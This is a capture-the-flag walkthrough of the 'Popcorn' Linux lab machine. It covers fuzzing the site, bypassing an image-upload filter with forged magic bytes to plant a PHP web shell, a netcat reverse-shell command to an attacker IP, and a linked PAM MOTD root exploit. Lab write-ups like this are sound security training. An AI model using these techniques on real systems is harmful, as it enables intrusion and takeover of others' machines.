**Popcorn**

Difficulty: Medium

Type: Linux

**Nmap**

Performing an nmap scan, we acquire the following

|  |
| --- |

Based on this information, the best place to go is the web page

**Web Page**

Looking at the website, we get a basic html page.

|  |
| --- |

My first idea is to FUZZ the site. Doing so provides the following

|  |
| --- |

Going to “test” gives us a php page while “torrent” redirects us to a torrent page with a login

|  |
| --- |

|  |
| --- |

I attempted default credentials for the login to no avail. Then I registered for an account and that worked without confirmation

Upon logging in I see a page full of torrents

|  |
| --- |

When I go to “uploads” I see that the only uploadable file type is a torrent file.

|  |
| --- |

I will have to upload a torrent to get code execution, I think. I decide to simply use a kali torrent file off the kali website to do this.

|  |
| --- |

Uploading the torrent

|  |
| --- |

After uploading, we got this page where we can edit a screenshot. Uploading a basic php web shell with the “.png.php” extension gives us an error.

|  |
| --- |

If we reupload an image from the source site, we get a good upload. It is possible a mime type is needed. To do that, have BurpSuite open while uploading a good image file and intercept the post request. There, we can see the file in byte form. From this we can grab the mime type and magic bytes off the file to trick the system into thinking the uploaded file is an image.

|  |
| --- |

The highlighted portion in the above image is being copied after we convert to base64. Putting this into a file after decoding it, then running “file” against it will give us a file with type “png.” We can put this decoded (or original) mime/magic bytes directly into a burp request, or into the shellcode.

|  |
| --- |

Doing the above shows a valid file upload. We can then see it succeeded under “/torrent/upload/”

|  |
| --- |

Clicking on our image and typing in “whoami”, we see we have code execution

|  |
| --- |

Getting a reverse shell, I check if some common tools are on the machine and see netcat is available. I then use the following code to get RCE

| *nc -c bash 10.10.14.34 9000* |
| --- |

**Www-data**

First thing I do is upgrade my shell to tty

|  |
| --- |

Checking around /www, I find nothing too useful at first glance.

Going to /home, I can access user george’s home and get the user flag

Looking through george’s files some more, we find a directory called “.cache” containing the file “motd.legal-displayed”

|  |
| --- |

Looking up an exploit for “MOTD” shows there is one with PAM version 1.1.0

To search for the version of PAM, do the following command:

| *dpkg -l | grep -i pam* |
| --- |

We see we have PAM v. 1.1.0 and so we can use the exploit.

<https://www.exploit-db.com/exploits/14339>

Going through this exploit, it only needs to be on the machine to get root. First it makes a backup of some file and if the exploit fails the backup is restored. Otherwise a ssh key is generated and placed into the authorized keys folder, then the passwords are placed into passwd and shadow files to get root. It overwrites their passwords in other words.

|  |
| --- |

Rooted